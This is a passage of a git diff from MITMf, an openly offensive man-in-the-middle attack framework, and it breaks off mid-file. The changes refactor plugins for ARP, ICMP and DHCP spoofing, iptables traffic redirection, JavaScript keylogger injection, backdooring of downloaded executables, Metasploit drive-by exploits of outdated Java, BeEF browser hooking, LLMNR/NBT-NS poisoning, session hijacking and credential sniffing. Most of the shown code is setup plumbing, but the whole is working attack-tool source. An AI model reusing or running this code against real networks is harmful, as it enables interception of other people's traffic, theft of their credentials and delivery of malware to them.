diff --git a/mitmf.py b/mitmf.py index b9cc289..060bc9b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -6,145 +6,170 @@ from twisted.internet import reactor from libs.sslstrip.CookieCleaner import CookieCleaner from libs.sergioproxy.ProxyPlugins import ProxyPlugins -import sys import logging + +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import get_if_addr, get_if_hwaddr + +from configobj import ConfigObj + +from plugins import * +plugin_classes = plugin.Plugin.__subclasses__() + +import sys import argparse +import os try: import user_agents except: - print "[*] user_agents library missing! User-Agent parsing will be disabled!" - -try: - from configobj import ConfigObj -except: - sys.exit("[-] configobj library not installed!") - -from plugins import * -plugin_classes = plugin.Plugin.__subclasses__() + print "[-] user_agents library missing! User-Agent parsing will be disabled!" mitmf_version = "0.9" sslstrip_version = "0.9" sergio_version = "0.2.1" -if __name__ == "__main__": +parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +#add MITMf options +mgroup = parser.add_argument_group("MITMf", "Options for MITMf") +mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") +mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") +mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") +mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') +#add sslstrip options +sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") +#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") +slogopts = sgroup.add_mutually_exclusive_group() +slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") +slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") +slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") +#slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet +sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") +sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") +sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") - parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') - #add MITMf options - mgroup = parser.add_argument_group("MITMf", "Options for MITMf") - mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") - mgroup.add_argument("-i", "--interface", type=str, metavar="interface" ,help="Interface to listen on") - mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") - mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') - #add sslstrip options - sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") - #sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") - slogopts = sgroup.add_mutually_exclusive_group() - slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") - slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") - slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") - #slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet - sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") - sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") - sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") +#Initialize plugins +plugins = [] +try: + for p in plugin_classes: + plugins.append(p()) +except: + print "Failed to load plugin class %s" % str(p) - #Initialize plugins - plugins = [] - try: - for p in plugin_classes: - plugins.append(p()) - except: - print "Failed to load plugin class %s" % str(p) +#Give subgroup to each plugin with options +try: + for p in plugins: + if p.desc == "": + sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name) + else: + sgroup = parser.add_argument_group("%s" % p.name, p.desc) - #Give subgroup to each plugin with options - try: - for p in plugins: - if p.desc == "": - sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name) - else: - sgroup = parser.add_argument_group("%s" % p.name,p.desc) + sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name) - sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name) - if p.has_opts: - p.add_options(sgroup) - except NotImplementedError: - print "Plugin %s claimed option support, but didn't have it." % p.name + if p.has_opts: + p.add_options(sgroup) +except NotImplementedError: + sys.exit("[-] %s plugin claimed option support, but didn't have it." % p.name) +args = parser.parse_args() + +try: + configfile = ConfigObj(args.configfile) +except Exception, e: + sys.exit("[-] Error parsing config file: " + str(e)) + +config_args = configfile['MITMf']['args'] +if config_args: + print "[*] Loading arguments from config file" + for arg in config_args.split(' '): + sys.argv.append(arg) args = parser.parse_args() - try: - configfile = ConfigObj(args.configfile) - except Exception, e: - sys.exit("[-] Error parsing config file: " + str(e)) - - config_args = configfile['MITMf']['args'] - if config_args: - print "[*] Loading arguments from config file" - for arg in config_args.split(' '): - sys.argv.append(arg) - args = parser.parse_args() - - if not args.interface: - sys.exit("[-] -i , --interface argument is required") - - args.configfile = configfile #so we can pass the configobj down to all the plugins - - log_level = logging.__dict__[args.log_level.upper()] - - #Start logging - logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - rootLogger = logging.getLogger() - - fileHandler = logging.FileHandler("./logs/mitmf.log") - fileHandler.setFormatter(logFormatter) - rootLogger.addHandler(fileHandler) - - #All our options should be loaded now, pass them onto plugins - print "[*] MITMf v%s started... initializing plugins" % mitmf_version - - load = [] - +#Check to see if called plugins require elevated privs +try: for p in plugins: - try: - if getattr(args, p.optname): - p.initialize(args) - load.append(p) - except NotImplementedError: - print "Plugin %s lacked initialize function." % p.name + if (vars(args)[p.optname] is True) and (p.req_root is True): + if os.geteuid() != 0: + sys.exit("[-] %s plugin requires root privileges" % p.name) +except AttributeError: + sys.exit("[-] %s plugin is missing the req_root attribute" % p.name) - #Plugins are ready to go, start MITMf - if args.disproxy: - ProxyPlugins.getInstance().setPlugins(load) - else: - - from libs.sslstrip.StrippingProxy import StrippingProxy - from libs.sslstrip.URLMonitor import URLMonitor +#################################################################################################### - URLMonitor.getInstance().setFaviconSpoofing(args.favicon) - CookieCleaner.getInstance().setEnabled(args.killsessions) - ProxyPlugins.getInstance().setPlugins(load) +# Here we check for some variables that are very commonly used, and pass them down to the plugins +try: + args.ip_address = get_if_addr(args.interface) + if (args.ip_address == "0.0.0.0") or (args.ip_address is None): + sys.exit("[-] Interface %s does not have an assigned IP address" % args.interface) +except Exception, e: + sys.exit("[-] Error retrieving interface IP address: %s" % e) - strippingFactory = http.HTTPFactory(timeout=10) - strippingFactory.protocol = StrippingProxy +try: + args.mac_address = get_if_hwaddr(args.interface) +except Exception, e: + sys.exit("[-] Error retrieving interface MAC address: %s" % e) - reactor.listenTCP(args.listen, strippingFactory) +args.configfile = configfile #so we can pass the configobj down to all the plugins - #load reactor options for plugins that have the 'plugin_reactor' attribute - for p in plugins: - if getattr(args, p.optname): - if hasattr(p, 'plugin_reactor'): - p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it +#################################################################################################### - print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version - - if args.hsts: - print "[*] sslstrip+ by Leonardo Nve running..." - - print "[*] sergio-proxy v%s online" % sergio_version +log_level = logging.__dict__[args.log_level.upper()] - reactor.run() +#Start logging +logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +rootLogger = logging.getLogger() - #cleanup on exit - for p in load: - p.finish() +fileHandler = logging.FileHandler("./logs/mitmf.log") +fileHandler.setFormatter(logFormatter) +rootLogger.addHandler(fileHandler) + +##################################################################################################### + +#All our options should be loaded now, pass them onto plugins +print "[*] MITMf v%s started... initializing plugins" % mitmf_version +print "[*] sergio-proxy v%s online" % sergio_version + +load = [] + +for p in plugins: + try: + if getattr(args, p.optname): + p.initialize(args) + load.append(p) + except NotImplementedError: + print "Plugin %s lacked initialize function." % p.name + +#Plugins are ready to go, start MITMf +if args.disproxy: + ProxyPlugins.getInstance().setPlugins(load) +else: + + from libs.sslstrip.StrippingProxy import StrippingProxy + from libs.sslstrip.URLMonitor import URLMonitor + + URLMonitor.getInstance().setFaviconSpoofing(args.favicon) + CookieCleaner.getInstance().setEnabled(args.killsessions) + ProxyPlugins.getInstance().setPlugins(load) + + strippingFactory = http.HTTPFactory(timeout=10) + strippingFactory.protocol = StrippingProxy + + reactor.listenTCP(args.listen, strippingFactory) + + #load custom reactor options for plugins that have the 'plugin_reactor' attribute + for p in plugins: + if getattr(args, p.optname): + if hasattr(p, 'plugin_reactor'): + p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it + + print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version + + if args.hsts: + print "[*] sslstrip+ by Leonardo Nve running..." + +reactor.run() + +#run each plugins finish() on exit +for p in load: + p.finish() \ No newline at end of file diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 680d6dc..f7d6b54 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -10,14 +10,14 @@ import time import sys class AppCachePlugin(Plugin): - name = "App Cache Poison" - optname = "appoison" - desc = "Performs App Cache Poisoning attacks" + name = "App Cache Poison" + optname = "appoison" + desc = "Performs App Cache Poisoning attacks" implements = ["handleResponse"] - has_opts = False + has_opts = False + req_root = False def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' self.options = options self.mass_poisoned_browsers = [] self.urlMonitor = URLMonitor.getInstance() @@ -27,8 +27,6 @@ class AppCachePlugin(Plugin): except Exception, e: sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e)) - print "[*] App Cache Poison plugin online" - def handleResponse(self, request, data): url = request.client.uri diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index ca31bd4..713fc2a 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -2,8 +2,6 @@ from plugins.plugin import Plugin from plugins.Inject import Inject from time import sleep import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr import sys import json import threading @@ -12,15 +10,17 @@ import libs.beefapi as beefapi requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log.setLevel(logging.WARNING) - class BeefAutorun(Inject, Plugin): name = "BeEFAutorun" optname = "beefauto" - has_opts = False desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" + depends = ["Inject"] + req_root = False + has_opts = False def initialize(self, options): self.options = options + self.ip_address = options.ip_address try: beefconfig = options.configfile['MITMf']['BeEF'] @@ -36,24 +36,14 @@ class BeefAutorun(Inject, Plugin): self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] - try: - self.ip_address = get_if_addr(options.interface) - if self.ip_address == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - Inject.initialize(self, options) self.black_ips = [] self.html_payload = '' % (self.ip_address, beefconfig['beefport']) beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if beef.login(beefconfig['user'], beefconfig['pass']): - print "[*] Successfully logged in to BeEF" - else: + if not beef.login(beefconfig['user'], beefconfig['pass']): sys.exit("[-] Error logging in to BeEF!") - - print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode + t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start() diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 536c563..29c8644 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -3,19 +3,19 @@ from plugins.Inject import Inject from pprint import pformat import logging - class BrowserProfiler(Inject, Plugin): - name = "Browser Profiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" + name = "Browser Profiler" + optname = "browserprofiler" + desc = "Attempts to enumerate all browser plugins of connected clients" implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - has_opts = False + depends = ["Inject"] + has_opts = False + req_root = False def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.get_payload() self.dic_output = {} # so other plugins can access the results - print "[*] Browser Profiler online" def post2dict(self, post): #converts the ajax post to a dic dict = {} diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 646815a..cc72a77 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -2,12 +2,13 @@ from plugins.plugin import Plugin class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - implements = ["handleHeader", "connectionMade"] - has_opts = True + name = "CacheKill" + optname = "cachekill" + desc = "Kills page caching by modifying headers" + implements = ["handleHeader", "connectionMade"] bad_headers = ['if-none-match', 'if-modified-since'] + has_opts = True + req_root = False def add_options(self, options): options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 0437d76..88d2fbc 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -55,9 +55,10 @@ from configobj import ConfigObj class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] has_opts = False - desc = "Backdoor executables being sent over http using bdfactory" + req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' @@ -98,8 +99,6 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - print "[*] FilePwn plugin online" - def convert_to_Bool(self, aString): if aString.lower() == 'true': return True diff --git a/plugins/Inject.py b/plugins/Inject.py index db4c54c..ec5523e 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -8,17 +8,19 @@ import argparse from plugins.plugin import Plugin from plugins.CacheKill import CacheKill - class Inject(CacheKill, Plugin): - name = "Inject" - optname = "inject" + name = "Inject" + optname = "inject" implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Inject arbitrary content into HTML content" + has_opts = True + req_root = False + desc = "Inject arbitrary content into HTML content" + depends = ["CacheKill"] def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options + self.proxyip = options.ip_address self.html_src = options.html_url self.js_src = options.js_url self.rate_limit = options.rate_limit @@ -29,13 +31,6 @@ class Inject(CacheKill, Plugin): self.match_str = options.match_str self.html_payload = options.html_payload - try: - self.proxyip = get_if_addr(options.interface) - if self.proxyip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - if self.white_ips: temp = [] for ip in self.white_ips.split(','): @@ -59,7 +54,6 @@ class Inject(CacheKill, Plugin): self.dtable = {} self.count = 0 self.mime = "text/html" - print "[*] Inject plugin online" def handleResponse(self, request, data): #We throttle to only inject once every two seconds per client diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index 68c0c2a..9d55bbe 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -18,11 +18,13 @@ class JavaPwn(BrowserProfiler, Plugin): name = "JavaPwn" optname = "javapwn" desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" + depends = ["Browserprofiler"] has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options + self.msfip = options.ip_address self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit try: @@ -39,13 +41,6 @@ class JavaPwn(BrowserProfiler, Plugin): self.rpcip = msfcfg['rpcip'] self.rpcpass = msfcfg['rpcpass'] - try: - self.msfip = get_if_addr(options.interface) - if self.msfip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) self.black_ips = [] @@ -58,7 +53,6 @@ class JavaPwn(BrowserProfiler, Plugin): except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - print "[*] JavaPwn plugin online" t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t.setDaemon(True) t.start() #start the main thread diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index ccbf55d..17ddde0 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -3,18 +3,18 @@ from plugins.Inject import Inject import logging class jskeylogger(Inject, Plugin): - name = "Javascript Keylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" + name = "Javascript Keylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - has_opts = False + depends = ["Inject"] + has_opts = False + req_root = False def initialize(self, options): Inject.initialize(self, options) self.html_payload = self.msf_keylogger() - print "[*] Javascript Keylogger plugin online" - def sendPostData(self, request): #Handle the plugin output if 'keylog' in request.uri: diff --git a/plugins/Replace.py b/plugins/Replace.py index 41ae813..b217127 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -11,11 +11,13 @@ from plugins.CacheKill import CacheKill class Replace(CacheKill, Plugin): - name = "Replace" - optname = "replace" + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" implements = ["handleResponse", "handleHeader", "connectionMade"] - has_opts = True - desc = "Replace arbitrary content in HTML content" + depends = ["CacheKill"] + has_opts = True + req_root = False def initialize(self, options): self.options = options @@ -25,11 +27,10 @@ class Replace(CacheKill, Plugin): self.regex_file = options.regex_file if (self.search_str is None or self.search_str == "") and self.regex_file is None: - sys.exit("[*] Please provide a search string or a regex file") + sys.exit("[-] Please provide a search string or a regex file") self.regexes = [] if self.regex_file is not None: - print "[*] Loading regexes from file" for line in self.regex_file: self.regexes.append(line.strip().split("\t")) @@ -41,8 +42,6 @@ class Replace(CacheKill, Plugin): self.dtable = {} self.mime = "text/html" - print "[*] Replace plugin online" - def handleResponse(self, request, data): ip, hn, mime = self._get_req_info(request) diff --git a/plugins/Responder.py b/plugins/Responder.py index 5f04b71..f128b67 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -1,7 +1,4 @@ from plugins.plugin import Plugin -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr from libs.responder.Responder import start_responder from libs.sslstrip.DnsCache import DnsCache from twisted.internet import reactor @@ -10,38 +7,29 @@ import os import threading class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" has_opts = True + req_root = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.interface = options.interface - if os.geteuid() != 0: - sys.exit("[-] Responder plugin requires root privileges") - try: config = options.configfile['Responder'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - try: - self.ip_address = get_if_addr(options.interface) - if self.ip_address == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % self.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - print "[*] Responder plugin online" DnsCache.getInstance().setCustomAddress(self.ip_address) for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: DnsCache.getInstance().setCustomRes(name, self.ip_address) - t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config)) + t = threading.Thread(name='responder', target=start_responder, args=(options, options.ip_address, config)) t.setDaemon(True) t.start() diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 10b028f..9835101 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -2,30 +2,22 @@ from plugins.plugin import Plugin from plugins.Inject import Inject import sys import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + depends = ["Inject"] has_opts = True + req_root = False def initialize(self, options): Inject.initialize(self, options) self.target_ip = options.host self.html_payload = self._get_data() - if self.target_ip is None: - try: - self.target_ip = get_if_addr(options.interface) - if self.target_ip == "0.0.0.0": - sys.exit("[-] Interface %s does not have an IP address" % options.interface) - except Exception, e: - sys.exit("[-] Error retrieving interface IP address: %s" % e) - - print "[*] SMBAuth plugin online" + if not self.target_ip: + self.target_ip = options.ip_address def add_options(self, options): options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 07cc820..a13825b 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -3,10 +3,11 @@ from libs.sslstrip.URLMonitor import URLMonitor import sys class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' has_opts = False + req_root = False def initialize(self, options): self.options = options @@ -16,5 +17,4 @@ class HSTSbypass(Plugin): except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - print "[*] SSLstrip+ plugin online" URLMonitor.getInstance().setHstsBypass(config) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 7cf1b6f..9ebbca3 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -18,6 +18,7 @@ class SessionHijacker(Plugin): desc = "Performs session hijacking attacks against clients" implements = ["cleanHeaders"] #["handleHeader"] has_opts = True + req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' @@ -48,8 +49,6 @@ class SessionHijacker(Plugin): t.setDaemon(True) t.start() - print "[*] Session Hijacker plugin online" - def cleanHeaders(self, request): # Client => Server headers = request.getAllHeaders().copy() client_ip = request.getClientIP() diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index c3bd41f..ef7be89 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -16,11 +16,12 @@ import re import os class Sniffer(Plugin): - name ='Sniffer' - optname = "sniffer" - desc = "Sniffs for various protocol login and auth attempts" + name = "Sniffer" + optname = "sniffer" + desc = "Sniffs for various protocol login and auth attempts" implements = ["sendRequest"] - has_opts = False + has_opts = False + req_root = True def initialize(self, options): self.options = options @@ -43,12 +44,12 @@ class Sniffer(Plugin): n = NetCreds() - print "[*] Sniffer plugin online" - #if not self.parse: t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t.setDaemon(True) t.start() + + print self.plg_text #else: # pcap = rdpcap(self.parse) # for pkt in pcap: @@ -132,7 +133,10 @@ class NetCreds: self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' def start(self, interface): - sniff(iface=interface, prn=self.pkt_parser, store=0) + try: + sniff(iface=interface, prn=self.pkt_parser, store=0) + except Exception: + pass def frag_remover(self, ack, load): ''' diff --git a/plugins/Spoof.py b/plugins/Spoof.py index e5d37f4..21ec242 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -1,15 +1,15 @@ # # DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof # -# CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py -# -from twisted.internet import reactor -from twisted.internet.interfaces import IReadDescriptor +#from twisted.internet import reactor +#from twisted.internet.interfaces import IReadDescriptor from plugins.plugin import Plugin from time import sleep import dns.resolver -import nfqueue +#import socket +from netfilterqueue import NetfilterQueue +#import nfqueue import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * @@ -21,343 +21,434 @@ from urllib import unquote import binascii import random - class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' - has_opts = True + name = "Spoof" + optname = "spoof" + desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' + has_opts = True + req_root = True - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.arp = options.arp - self.icmp = options.icmp - self.dns = options.dns - self.dhcp = options.dhcp - self.shellshock = options.shellshock - self.gateway = options.gateway - #self.summary = options.summary - self.target = options.target - self.arpmode = options.arpmode - self.port = options.listen - self.hsts = options.hsts - self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de - self.debug = False - self.send = True + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.dnscfg = options.configfile['Spoof']['DNS'] + self.dhcpcfg = options.configfile['Spoof']['DHCP'] + self.hstscfg = options.configfile['SSLstrip+'] + self.target = options.target + self.manualiptables = options.manualiptables + + #Makes scapy more verbose + debug = False + if self.options.log_level is 'debug': + debug = True - if os.geteuid() != 0: - sys.exit("[-] Spoof plugin requires root privileges") - - if self.options.log_level == 'debug': - self.debug = True + self.sysconfig = SystemConfig(options.listen) - try: - self.mac = get_if_hwaddr(self.interface) - except Exception, e: - sys.exit('[-] Error retrieving interfaces MAC address: %s' % e) - - if self.arp: - if not self.gateway: - sys.exit("[-] --arp argument requires --gateway") + if options.arp: + if not options.gateway: + sys.exit("[-] --arp argument requires --gateway") - self.routermac = getmacbyip(self.gateway) - - print "[*] ARP Spoofing enabled" - if self.arpmode == 'req': - pkt = self.build_arp_req() - elif self.arpmode == 'rep': - pkt = self.build_arp_rep() - - thread_target = self.send_packets - thread_args = (pkt, self.interface, self.debug,) + self.sysconfig.set_forwarding(1) + + if not options.manualiptables: + self.sysconfig.iptables_flush() + self.sysconfig.iptables_http() - elif self.icmp: - if not self.gateway: - sys.exit("[-] --icmp argument requires --gateway") + self.arp = _ARP(options.gateway, options.interface, options.mac_address) + self.arp.target = options.target + self.arp.arpmode = options.arpmode + self.arp.debug = debug + self.arp.start() - self.routermac = getmacbyip(self.gateway) + elif options.icmp: + if not options.gateway: + sys.exit("[-] --icmp argument requires --gateway") + if not options.target: + sys.exit("[-] --icmp argument requires --target") - print "[*] ICMP Redirection enabled" - pkt = self.build_icmp() - - thread_target = self.send_packets - thread_args = (pkt, self.interface, self.debug,) + self.sysconfig.set_forwarding(1) + + if not options.manualiptables: + self.sysconfig.iptables_flush() + self.sysconfig.iptables_http() - elif self.dhcp: - print "[*] DHCP Spoofing enabled" - if self.target: - sys.exit("[-] --target argument invalid when DCHP spoofing") + self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) + self.icmp.debug = debug + self.icmp.start() - self.rand_number = [] - self.dhcp_dic = {} - self.dhcpcfg = options.configfile['Spoof']['DHCP'] - - thread_target = self.dhcp_sniff - thread_args = () - - else: - sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") + elif options.dhcp: + if options.target: + sys.exit("[-] --target argument invalid when DCHP spoofing") - print "[*] Spoof plugin online" - if not self.manualiptables: - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + self.sysconfig.set_forwarding(1) + + if not options.manualiptables: + self.sysconfig.iptables_flush() + self.sysconfig.iptables_http() - if (self.dns or self.hsts): - print "[*] DNS Tampering enabled" - - if self.dns: - self.dnscfg = options.configfile['Spoof']['DNS'] + self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + self.dhcp.shellshock = options.shellshock + self.dhcp.debug = debug + self.dhcp.start() + + else: + sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") - self.hstscfg = options.configfile['SSLstrip+'] - if not self.manualiptables: - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') + if (options.dns or options.hsts): - self.start_dns_queue() + if not options.manualiptables: + self.sysconfig.iptables_dns() - file = open('/proc/sys/net/ipv4/ip_forward', 'w') - file.write('1') - file.close() - if not self.manualiptables: - print '[*] Setting up iptables' - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) + self.dns = _DNS(self.dnscfg, self.hstscfg) + self.dns.dns = options.dns + self.dns.hsts = options.hsts + self.dns.start() - #CHarvester = CredHarvester() - t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args) - #t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface)) + def add_options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') + 